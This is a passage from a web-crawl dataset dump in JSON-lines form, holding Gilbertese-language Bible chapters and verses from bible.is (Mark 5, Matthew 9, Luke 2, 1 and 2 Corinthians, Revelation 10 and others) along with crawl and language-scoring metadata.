5","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/5","date":"2014-03-11T08:39:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011160422\/warc\/CC-MAIN-20140305091920-00009-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":633,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A taku aomata bwa bon iai te wene ni bure i buakomi, ae te aeka ni wene ni bure ae akea n ai arona i buakoia aomata aika tiaki I-Iutaia—bwa e buuna buuun tamana te aomata. 2Ao kam kainikatonga! Tiaki bwa kam bon riai n nanokaawaki? Ao te aomata are e karaoa te aro aei e bon riai ni kamwaawaaki mai buakomi. 3Ao I boni ngae n raroa nako mai iroumi n rabwatau, ma I boni mena iroumi n taamneiu; ao ngke kangaa I mena iroumi, ao I a kaman tia, n aran ara Uea are Iesu Kristo, ni motika taekan te aomata are e karaoa te aro ni kammaira anne. 4Ngkana kam bootaki, ao raomi taamneiu ma mwaakan ara Uea are Iesu; 5ao kam na anga teuanne nakon Tatan ibukin uruakan rabwatana, bwa e aonga ni maiu taamneina n ana bong te Uea. 6E aki raoiroi bwa kam na kamoamoa. Kam aki ataa te iiti ae ti teutana bwa e konaa ni karikirakea te buraawa are e na karikaki? 7Kam na kaaki te iiti nikawai, bwa kam aonga n riki n ai aron te kariki ni buraawa ae e boou are akea te iiti iai: bwa bon anne aromi. Bwa bwain te Toa are te Riao bon te karea ae te tiibuteteei are Iesu Kristo, are E a tia ni kamateaki. 8Ma ngaia ae ti na bootaki ni kukurei n te Toa are te Riao, ma ti na aki kaboonganaa te kariki are iai te iiti nikawai iai, are te bure ma te buaakaka; ma ti na kaboonganaa te kariki are akea te iiti iai, are karikin te itiaki ma te koaua. 9N au reta are I a tia ni koroia nakoimi, ao I tuangkami bwa kam na aki raoniia taani wene ni bure. 10I aki nanoniia ikai aomatan te aonnaba aei aika taani wene ni bure, ma taani mataai ni kanibwaibwai, ma taani baabakanikawai, ma taan taromauri bouananti; bwa ngkana ngaia aei ae I nanonna, ao nanona ngkanne bwa kam na kiitana te aonnaba. 11Ma are I nanonna n au koroboki, bwa kam na aki raona te aomata ae e atongaki bwa te tia onimaki, ao ngaia bon te tia wene ni bure, ke e mataai ni kanibwaibwai, ke te tia taromauri bouananti, ke te tia taetae n iowawa, ke te tia mamanging, ke te tia baabakanikawai; kam na tai amwarake naba ma ngaia. 12Bwa tera au bwai ni baairei taekaia aomata aika tiaki kaain te ekaretia? Tiaki bwa ti kaain te ekaretia aika kam na baairei taekaia? 13Ma te Atua E na motiki-taekaia akana tiaki kaain te ekaretia. Kam na kamwaawaa te aomata ae e buaakaka mai buakomi.\n1 KORINTO 5","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/5","date":"2014-03-12T05:29:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394021378450\/warc\/CC-MAIN-20140305120938-00074-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":442,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24Ngkana e a tia n oti nako te anti are e buaakaka mai iroun te aomata, ao e nako n ri nuukan taabo ake a rereua n ukoukora ana tabo ni motirawa iai; ao ngke akea ae e kunea, ao e taku, N na manga okira te auti are I a tia nako ngkoa maiai.\nRUKA 11:24\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/24","date":"2014-03-07T18:48:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999650254\/warc\/CC-MAIN-20140305060730-00076-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":60,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.284,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao Iesu ma ana reirei a roko n iteran te nama are teuana, i abaia I-Kerata. 2Ao ngke E waerake man te booti, ao E a kaaitibo naba ma te aomata ae e oti nako mani nneia maate; iai irouna te taamnei ae e kamwaraa, 3ao e mamaeka n aia tabo maate. Akea ae e konaa ni kabaea n taurekereke; 4bwa a mwaiti ana tai ni kabaeaki waena ma baina n taurekereke, ma e a katoa tai naba ni motiki, ao e urui biiti ake kabaeani waena; akea ae e tau korakorana bwa e na taua. 5E meemena ni nneia maate ao ri buakoni maunga ni katoaa te bong ao te ngaina. E aki toki n tatakaarua ao ni kokorokoroia n atiibu. 6Ngke e noora Iesu mai kiiraroa, ao e biri, ao e bwaka i aoni bubuaniwaena i matan Iesu, ni karinea, 7ao e takaarua n te bwanaa ae e korakora, ni kaangai, Iesu ae Natin te Atua are Moan te Rietata! Tera am bwai irou? I buubutiiko n aran te Atua bwa Ko na aki kammarakai! 8E taekina aei ibukina bwa Iesu, E a tia n taku nakoina, Te taamnei ae e kamwaraa, oti nako mai iroun te aomata aei! 9Ma ngaia are Iesu, E titirakinna ni kaangai, Antai aram? E kaeka te aomata arei ao e taku, Arau Rekeon—bwa a mwaiti ara koraki! 10Ao e kabatiaa butian Iesu bwa E na aki kanakoia mai aon te aba arei. 11Iai te nanai ni beeki ae e amwarake n aki raroa ni karaabeen te maunga. 12Ao taimonio a butiia Iesu ni kaangai, Kanakoira nakoia beeki, bwa ti na rin i nanoia. 13Ao Ngaia E kariaia, ao taamnei aika a kamwaraa, a oti nako mai iroun teuarei, ao a rin i nanoia beeki aika tao uangaa mwaitiia; ao e biri nako te nanai ni beeki n toua ae e karabee rikaaki nako nanon te nama, ao a bwabwa. 14A biri nako uaake a tararuaia beeki, ao a kabutaa nako te rongorongo n te kaawa ao n taabo ake a maekanaki. A roko aomata n noora te baere e riki. 15Ao ngke a roko iroun Iesu, ao a noora teuare e taniaki ngkoa irouia taamnei aika a kamwaraa bwa e tekateka ao e kunnikaia, ao e a aomata; ao a maaku. 16Ao ake a noora te baerei, a tuangiia aomata taekan te baere e riki nakon te aomata are e taniaki irouia taamnei aika a kamwaraa, ma taekaia beeki. 17A butiia Iesu bwa E na kiitana abaia. 18Ao ngke E nangi toka n te booti, ao teuare e taniaki ngkoa irouia taamnei aika a kamwaraa, e butiia bwa e na iria. 19Ma Iesu, E aki kariaia, ao E taku nakoina, Ko na nako n okira mwengam, nakoia am utu, ao karakini bwaai ake E a tia ni karaoi te Uea nakoim, ao arona ngke E a tia n nanoangaiko. 20Ao e nako, ao e ri nuukan Tekabori, ao e tataekina te baere E a tia ni karaoia Iesu nakoina. Ao aomata ake a ongo a bane ni miimii. 21Ao Iesu E a manga okira iteran te nama are teuana n te booti, ao a bootaki nakoina aomata aika a rangi ni mwaiti i rarikin te nama. 22Ao e roko Iairo, ae temanna i buakoia taan taua taekan aia mwaneaba I-Iutaia; ngke e noora Iesu ao e bwaka i rarikini waen Iesu, 23ao e kabanea ana buubuti nakoina, ao e kaangai, E rangi n aoraki natiu te aine. Nako mai, kaaki baim i aona bwa e aonga ni karekea te marurung, ao e na maiu. 24Ao E nako Iesu ma ngaia. A iria aomata aika a rangi ni mwaiti n te aro are a karibwaa n akea mwaawan rarikina. 25Iai te aine temanna i buakoia ae iai irouna te aoraki n aine i nanon te maan ae tebwi ma uoua te ririki; 26a mwaiti taokita aika a tia ni buokia, ao e a bane ana mwane ma akea te marurung ae e karekea: e a mamaara riki. 27E a tia n ongo taekan Iesu, ma ngaia are e karanenea i buakoia aomata n ri akuun Iesu, ao e riinga ana kunnikai. 28Bwa e taku, Ngkana tao I riinga naba ti kunnikaina, ao I a kamaiuaki. 29E rina n toki aorakina n aine, ao e namakinna i nanona bwa e a kamaiuaki man aorakina. 30Ao Iesu, ngke E ataia naba bwa e oti nako mai irouna te mwaaka, ao E rairaki i buakoia aomata aika a mwaiti, ao e taku, Antai ae e riinga kunnikaiu? 31A kaeka ana reirei, ni kaangai, Ko nooriia aomata aika a mwaiti bwa a karibwako, ao Ko kaangai, Antai ae riingai? 32Ao E taratara nako bwa E na nooria bwa antai ae e karaoia. 33Ao te aine, n ataan te bwai are a tia n riki nakoina, e roko ma te maaku, ao e ruru. E bwaka i matan Iesu, ao e tuangnga te koaua ni kabane. 34E taku Iesu nakoina, Natiu, e kamaiuko am onimaki; naako ma te rau, ao ko na kamaiuaki man aorakim. 35Ngke E tabe n taetae, ao a roko temwaangina aika taan ua rongorongo man ana auti Iairo, ao a taku, E a mate natim. E aera bwa ko na katabea te Tia Reirei? 36Ma Iesu E aki kan tabe ma aia taeka, ao E taku nakon Iairo, Tai maaku; ko na ti onimaki. 37Ao akea temanna ae E kariaia bwa e na iria bwa ti Betero ma Iakobo, ao Ioane are tarin Iakobo. 38A roko n ana auti Iairo; ao Iesu, E noora te mangao n aki rau irouia aomata: iai ake a kanenei bwanaaia n tang, ao iai naba ake a tangi ni bwaebwaeti. 39E rin ao E taku nakoia, E aera ngkai iai te kiriwe iroumi, ao kam tangi ni bwaebwaeti? E aki mate te teei ma e matuu. 40A ngareakinna. Ma E kabaneia ni kaotinakoia, ao E kaira taman te teei ma tinana, ma uaake raona, ao a rin n te tabo are e mena iai te teei. 41E taua bain te teei Iesu, ao E taku nakoina, Tarita koum, ae nanona, Te teinaine, I taku nakoim, Tei rake. 42N te tai naba arei, ao e tei rake te teinaine ao e nakonako; bwa ai tebwi ma uoua ana ririki ni maiu. Ngke e riki aei, ao a bane naba ni miimii. 43Ma Iesu, E kamatoaa bwanaana n tuangiia bwa a na aki tuanga temanna te baei; ao E tua bwa a na angan neierei kanana bwa e na amwarake.\nMAREKO 5","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/5","date":"2014-03-07T17:56:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999649814\/warc\/CC-MAIN-20140305060729-00030-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1081,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I noora te anera temanna ae e korakora bwa e ruo mai karawa. E kunnikaiaki n te nang, ao Nei Wiraraa i aon atuna; ao ubuna ai aron taai, ao rangana ai aron tein taraan te ai ae e tei bwa kaanga te boua. 2Iai te niira ni boki ae e uarereke ae e uki i nanoni baina; ao e kaaki waena are ataina i aoni marawa, ao waena are maingina i aon te aba. 3Ao e taetae n te bwanaa a ae e korakora, n ai aron te raian ngkana e bekorara; ao ngke e taetae ao a rebwe baa ake itiua ni kaekaa. 4Ao N nang koroboki ngke a kaeka baa ake itiua, ma I a ongo naba te bwanaa mai karawa ae e kaangai, Ko na kaawakin ni kanikinaaei bwa a na aki kaakaotaki baike a a tia n taekini baa ake itiua, ao ko na tai koroi. 5Ao te anera are I nooria bwa e tei i aoni marawa ao i aon te aba, e katea baina are ataina nako karawa, 6ao e taetae n tuea n aran Teuare e maiu n aki tootoki, are e karaoa karawa ma baike i nanona, ao te aba ma baike i aona, ao marawa ma baike i nanona, ao e taku bwa akea kamaanan riki te tai. 7Ma ngkana e katanga ana buu te anera are te kaitiman, ao te Atua E na kakororaoa ana kaantaninga are e raba, n aai aron are E taekinna nakoiaana toro ake buraabeti. 8Ao e a manga taetae naba nakoiu te bwanaa are I ongo are e roko mai karawa, ao e kaangai, Ko na nako n anaa te niira ni boki are e uki are i nanoni bain te anera are e tei i aoni marawa ao i aon te aba. 9Ao I nako n te anera arei, ao I taku nakoina, Kamai te niira ni boki ane e uarereke anne. Ao e kaangai nakoiu, Anaia, ao kanna; ao ane e na mao i nanoni birotom, ma e na karewe i nanoni wiim n ai aroni karewen aia karewe manibeeru. 10Ao I anaa te niira ni boki are e uarereke mai nanoni bain te anera, ao I kanna; ao ai aroni karewen aia karewe manibeeru karewena i nanoni wiiu; ao ngke I a tia ni kanna, ao e mao i nanoni birotou. 11Ao I tuangaki ae e kaangai, E riai bwa ko na manga taetae ni buraabeti i bukiia natanaomata ma bootanaomata ma aomata nako aika a kakaokoro aia taetae, ao i bukiia naba ueea aika a bati.\nTE KAOTIOTI 10","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/10","date":"2014-03-09T09:43:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999676768\/warc\/CC-MAIN-20140305060756-00030-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":429,"character_repetition_ratio":0.072,"word_repetition_ratio":0.005,"special_characters_ratio":0.244,"stopwords_ratio":0.471,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E toka Iesu n te booti n ri nuukan te nama, ao E roko n ana kaawa. 2Ao nooria, iai aomata tabemwaang ake a uota nakoina te aomata ae e nakibaina, ae e wene i aon te nne ni wene. Ngke E noori aia onimaki Iesu, ao E taku nakon te nakibaina, Natiu, tai raraoma; a kabwaraaki am bure. 3Ao nooria, a taku i nanoia taani koroboki tabemwaang, E taetae ni bakanatua Teuaei. 4E atai nanoia Iesu, ma ngaia are E taku, Kam aera ngkai kam iangoa ae e buaakaka i nanomi? 5E ngaa ae e beebete riki, atongan ae e kaangai, A kabwaraaki am bure? Ke ae e kaangai, Tei rake ao nakonako? 6Bwa kam aonga n ataia bwa E konai ni kabwarai buure i aonnaba Natin te Aomata—E taku ngkanne nakon te nakibaina—Tei rake, tabeka nnem ni wene, ao naako ni mwengam. 7Ao e tei rake ao e nako ni mwengana. 8Ngke a noora te baere e riki aomata, ao a maaku, ao a kamoamoaa te Atua are E a tia n angania aomata te mwaaka ae ai aron aei. 9Ngke E kiitana ikekei Iesu, ao e noora te aomata ae arana Mataio, bwa e tekateka n aobitin te taekiti; ao E taku nakoina, Ko na iriirai. Ao ngaia, e tei rake n iriira Iesu. 10Ao ngke E tekateka n rarikiriki n amwarake Iesu n te auti, ao nooria, a roko taan anai taekiti ma aomata aika a buaakaka aika a mwaiti, ao a tekateka n rarikiriki n amwarake ma Ngaia ao ana reirei. 11Ngke a noora aei Bwaritaio, ao a taku nakoia ana reirei Iesu, E aera ngkae E amwarake ami Tia Reirei ma taan anai taekiti ao aomata aika buaakaka? 12Ma ngke E ongo Iesu, ao E taku, akana a marurung a aki kainnanoa te tia katoki aoraki, ma ti akana a aoraki. 13Kam na nako n reireingkami bwa tera ae e nanonaki n taeka aikai. I tangira te nanoanga, ao I aki tangira te angakarea. Bwa I aki roko bwa N na weteiia akana a raoiroi, ma I roko bwa N na weteia akana a buaakaka. 14A roko irouna ngkanne ana reirei Ioane are te Tia bwaabetiito, ao a taku, Bukin tera ngkai ti kabatiaa te aki-mamatam, ngaira ma Bwaritaio, ao am reirei a aki bwaina te aki-mamatam? 15E taku Iesu nakoia, A konaa n nanokaawaki aomata ake a kaoaki bwa iruwa nakon te mare, ngkae e raoniia te tia iein? Ane a na roko boong, ane e na uotaki nako iai te tia iein mai irouia, ao anne ngkanne aia tai n aki mamatam. 16Akea ae e itua te moti ni kunnikai ae e boou i aon te niiniira nikawai: bwa ane e na kui te moti ni kunnikai ae e boou i mwiin uatiana, ao e na kou nako man te niiniira, ao e a kaabwaabwaka riki raeuaakina. 17Ai aron naba te wain ae e boou : bwa e aki atoaki nakoni nneia aika kunin te man, aika bwaai nikawai; bwa ngkana e atoaki nako iai, ao a na tabwena kuun ao e na waa nako te wain, ao a uruaki nnena; ma e atoaki te wain nakoni nnena aika kunin te man, aika kuun aika a boou : ao n te aro aei, e a kaawakinaki raoi iai te wain ao a aki uruaki nnena. 18Ngke E tabe Iesu n atongi baikai nakoia, ao nooria, e roko te tia tau-taeka temanna ao e katorobubua ni bobaraaki i matan Iesu ni karinea, ao e taku, E a tibwa mate natiu te aine; ma Ko na nako mai ni kaaki baim i aona, ao e a maiu naba. 19E tei rake Iesu, ao E airi ma ana reirei n iria. 20Ao nooria, e roko i akuuna te aine ae e aoraki n aine i nanon te maan ae tebwi ma onoua te ririki, ao e riinga rabin ana kunnikai Iesu: 21bwa e taku i nanona neierei, Ngkana I ti riinga naba ana kunnikai, ao I a kamaiuaki. 22E rairaki Iesu, ao ngke E noora neierei, ao E taku, Natiu, Tai raraoma, e kamaiuko am onimaki. Ao e kamaiuaki te aine arei n te tai naba arei. 23Ngke E roko Iesu n ana auti te tia tau-taeka, ao E nooriia taani katangitang ibukin te mate, ma aomata bwa a tanginiwenei, 24ao E taku nakoia, Kam na bane n oti nako: bwa e aki mate te teinaine, ma e matuu. Ao a ngareakinna ni kakanikoa. 25Ngke a a tia ni kaotinakoaki te koraki rei, ao Ngaia E rin n te ru are e mena iai te teinaine; ao E taua bain neierei, ao e tei rake. 26Ao e buta nako rongorongon te baerei i aon te aba arei. 27Ngke E kiitana ikekei Iesu, ao a ri mwiina uoman te mataki, ao a takaarua ni kaangai, Natin Tawita, Ko na nanoangaira. 28Ngke E rin n te auti, ao a roko irouna mataki ake uoman; ao E taku Iesu nakoia, Kam kakoauaa bwa I konaa ni karaoa te baenne? A taku nakoina, Eng, te Uea. 29E riingi ngkanne mataia Iesu, ao E taku, E na karaoaki nakoimi n ai aron ami onimaki. 30A kaureaki mataia. Ao E kamatoatoaa ana taeka Iesu nakoia ni kaangai, Kam na taraia bwa a na aki ataa taekan te baei aomata. 31Ma ngke a nako, ao a katanoataa taekana nako aon te aba arei ni kabutaa. 32Ao ngke a nako uaake a tia ni kamaiuaki mani matakiia, ao nooria, e kairaki nakon Iesu te aomata ae e babanga taetae, ae e taniaki iroun te taimonio. 33Ngke e a tia ni kanakoaki te taimonio, ao e taetae teuare e babanga taetae; ao a miimii aomata, ao a taku, E tuai men noonooraki te bwai ae ai aron aei i buakoia Iteraera. 34Ma a taku Bwaritaio, E kanakoia taimonio iroun aia uea taimonio. 35Ao Iesu E kawari kaawa ni kabane ma taabo nako ake a maekanaki n reirei i nanoni mwaneabaia I-Iutaia, n tataekina euangkerion uean te Atua, ao ni katoki aoraki ni kabane ma mama ara ni kabane. 36Ngke E nooriia aomata aika a rangi ni bati, ao E nanoangaiia: kaanga ai aroia tiibu aika a tiku n akea te tia kaawakiniia. 37Ao E taku nakoia ana reirei, A mwaiti uaa aika a bo taia n rikoaki, ma a karako taani mwakuri. 38Ma ngaia ae kam na butiia Teuare ana bwai baikai bwa E na kanakoia taani mwakuri bwa a na rikoi ana uaa.\nMATAIO 9","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/9","date":"2014-03-13T11:24:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678666156\/warc\/CC-MAIN-20140313024426-00065-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1070,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19Ngke e a tia Mote n tuangiia aomata ni kabaneia bwaai ni kabane ake a taekinaki n te Tua, ao e anaa te burae ae e uraroo ae buraen te tiibu ma te kaibwaabwaa ae te utobwa ao e kamanenaai ni katimtimwa iai raraaia bun ni kaao ma kooti, ma te ran i aoia aomata ni kabaneia ma te niira-ni-boki;\nEBERA 9:19\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/19","date":"2014-03-13T23:23:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678683052\/warc\/CC-MAIN-20140313024443-00067-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":65,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.477,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:2828Ma ngaia aei, ngkana I a tia ni karaoa aei, ma n anganiia naba rabwatan te mwaiti ni mwane are e a tia ni bobootaki i bukiia, ao N na karoko iroumi i aoni kawaiu nako Tibeen. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/28","date":"2014-03-11T18:38:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011240269\/warc\/CC-MAIN-20140305092040-00067-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.000003457069397}","num_words":53,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Raou aika kam tangiraki, ngkai ara bwai ma ngkami taeka n aakoi aikai, ao ti na kaitiakira mani kamwaraan nako te rabwata ma te taamnei, ao ti na kakororaoa aroni maiura n reitaki ma te Atua n arora ni maaka te Atua. 2Kaota ami tangira nakoira; akea temanna ae ti karaoa ae e kaairua nakoina; akea ae ti urua maiuna ae e raoiroi, ao akea ae ti burebureia. 3I aki atonga aei bwa N na kabuaakakaingkami iai, bwa I a tia n taku rimoa bwa kam meemena i nanora, ngkana tao ti mate ke ti maiu. 4I rangi n onimakiningkami, ao I rangi ni kamoamoa iroumi; e rangi n rau nanou, ao moan te bati kakatongau i buakon rawaawatara ni bane. 5Bwa ngke ti roko i Mwaketonia, ao a aki motirawa rabwatara, ma ti karawaawataaki n aaro nako, n taiani kauntaeka ma aomata, ao n taiani maaku i nanora. 6Ma te Atua are e karau nanoia akana a bwara nanoia E karau naba nanora n rokon Tito. 7Tiaki n ti rokon Tito ae a karauaki nanora iai, ma n ana rongorongo naba i bukimi n aromi ni karaua nanona. E kaongoira aron ingaingan nanomi ni kan noorai, ma tangimi, ma nanomi aika a korakora i bukiu; ao boni moan te kakatonga riki ngai. 8Bwa e boni ngae ngke I karawaawataingkami n au reta arei, ma I aki nanokaawaki iai, e ngae ngke I bon nanokaawaki iai ngkoa ngke I ataia bwa kam karawaawataaki iai i nanon tabeua te tai. 9Ma I kukurei ngkai, tiaki ibukina ngke kam a tia ni karawaawataaki, ma ibukina ngke e riki rawaawatami bwa karikani bitakin nanomi. Bwa kam karawaawataaki n aron nanon te Atua, bwa kam na aki kabua-nibwai n te aro teuana iroura. 10Bwa te rawaawata are e kaeti ma nanon te Atua e karika rairan te nanon nakon te maiu, ao akea te nanokaawaki ae e na reke i mwiina; ma rawaawatan aon te aba e karika te mate. 11Bwa noora te baei, ae karawaawataami n reitaki ma nanon te Atua; ai tera arona ni karika te nano ae e korakora, ma te nano ni kani kaota ae kam aki bure, ma te nano n un, ma te nano ni maaku, ma te nano n ingainga, ma te nano ni kani kareke kai. Kam kaotingkami ni bwaai ni kabane bwa kam itiaki n te baerei. 12Ma ngaia aei, ngke I koroboki nakoimi, ao I aki koroboki ibukin teuare e karaoa are e buaakaka, ao I aki naba ibukin teuare e karaoaki ae e buaakaka nakoina; ma I koroboki bwa e na kaotaki nakoimi i matan te Atua, aron nanomi ae e korakora i bukira. 13Ma ngaia ae a karauaki nanora. Ao i rarikin raun nanora aei, ao e a kabatiaaki riki kakatongara ni kakatongan Tito, ibukina ngke e a tia n karauaki taamneina iroumi ni kabaneingkami. 14Bwa ngke I kamoamoaingkami nakon Tito n te bwai teuana, ao I aki maamaa; ma ngkai a koaua bwaai ni kabane ake ti taekin nakoimi, ao ai aron naba ara taeka are ti kamoamoaingkami iai nakon Tito, bwa e ataaki bwa e boni koaua. 15E rikirake tangirami irouna, ngkae e uringa aromi ni kabaneingkami n ongeaaba nakoina, ma aromi ni mwaneia n akoia ma te rurubenebene ni maaku. 16I rangi ni kukurei bwa I a konaa n onimakiningkami ni karaoan bwaai ni kabane ake kam riai ni karaoi.\n2 KORINTO 7","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/7","date":"2014-03-08T11:21:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999654345\/warc\/CC-MAIN-20140305060734-00027-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":562,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ni boong akekei, ao e nako te kaetieti mai iroun te uea ae e kakannato are Kaitara Aukitito bwa e na karaoaki te wareaomata i aon aban nako te tautaeka n Rom. 2Aei te moani wareaomata n ana tai n tautaeka Kurenio i Turia. 3Ao a bane n nako aomata nakon oin aia kaawa nako bwa a na koreaki araia iai. 4E nako naba Iotebwa mai Kariraia, man te kaawa are Natareta, nako Iutaia nakon ana kaawa Tawita are arana Betereem, bwa ngaia kaain ana utu Tawita. 5E nako ma Nei Maria are ana kabae are e bikoukou bwa a na koroi araia. 6Ao ngke a mena i Betereem, ao e roko ana tai ni bung Nei Maria. 7E bungiia ana moa n nati te mwaane ao e niiria n te kunnikai ae te niiniira, ao e kawenea ni nneni kanaia maan n amwarake bwa akea aia ru n te auti n iruwa. 8Iai taani kaawakin-tiibu n te aba arei ake a mena i tinanikun te kaawa. A tantani i rarikiia aia tiibu e bong. 9E kaoti ana anera te Uea nakoia, ao e oota nako mimitongin te Atua ni katobibiia, ao a taonaki n te maaku. 10Ao e taku te anera nakoia, Tai maaku; bwa nooria, iai irou te rongorongo ae e raoiroi are e na karika te kimwaareirei irouia aomata ni kabaneia; 11bwa e a bungiaki nakoimi n te bong aei n ana kaawa Tawita, te tia Kamaiu are te Kristo are te Uea. 12Ao aio te kanikina nakoimi: ane kam na noora te merimeri ae e niiraki n te kunnikai ae te niiniira, ae e wene i nanoni nneni kanaia maan n amwarake. 13Ao a karina naba ni kaoti i rarikin te anera kaaini karawa aika rangi ni mwaiti. A kamoamoaa te Atua, ao a kaangai, 14E na neboaki te Atua ike moan te rietaata, Ao e na mena te rau i aon te aba irouia aomata ake E kukurei irouia te Atua. 15Ngke a nako anera mai irouia nako karawa, ao a i taetae irouia taani kaawakin-tiibu ni kaangai, Ti na nako Betereem bwa ti na noora te baere e riki, are E taekinna nakoira te Uea. 16Ao a kawaekoaia ngke a nako, ao a kunea Nei Maria ma Iotebwa, ao te merimeri bwa e wene ni nneni kanaia maan n amwarake. 17Ngke a noora te teei ao a kaongoia aomata nako rongorongon te teei aei n ai aron are a a tia n tuangaki; 18ao ake a ongo, a miimii n te baere a taekinna taani kaawakin-tiibu nakoia. 19Ma Nei Maria, e kaawakin taekani baikai ni kabane i nanona, ao e aki toki n iaiangoi. 20Ao a oki taani kaawakin-tiibu. A kamoamoaa te Atua ao a neboia ibukini baike a a tia n ongo ma n noori, n ai aron taekaia ake a a tia n tuangaki. 21Ngke e a koro wanua te bong, ngke e a roko ana tai te teei ni koroberoaki, ao e a aranaki bwa Iesu, are te ara are e anga te anera i mwaain rikin Iesu i nanon te biroto. 22Ngke e a roko te tai are a riai iai Iotebwa ma Nei Maria ni karaoa te anga karea ibukini kaitiakaia n ai aron taekana n ana tua Mote, ao a uota Iesu nako Ierutarem bwa a na kaotia i matan te Atua, 23n ai aron are e koreaki n ana tua te Uea aree e kaangai, Bwa naati mwaaneake moa n nati a na atongaki bwa ana bwai te Uea, 24Ao bwa a na anga te karea n ai aron taekana n ana tua te Uea, are e kaangai: Uoman te taobe ke uoman te bitin aika ataei. 25N te tai anne ao iai te aomata temanna i Ierutarem ae arana Timeon. Teuaei e bwaina te maiu ae e raoiroi i matan te Atua ao e kakaonimaki; e kaantaninga te tai are e na buokaki iai Iteraera man rawaawatana, ao e mena irouna te Taamnei are e Raoiroi. 26Ao E a tia te Taamnei are e Raoiroi ni kaotia nakoina bwa e na aki mate i mwaain ae e tia n noora ana Kristo te Uea. 27Ngke e 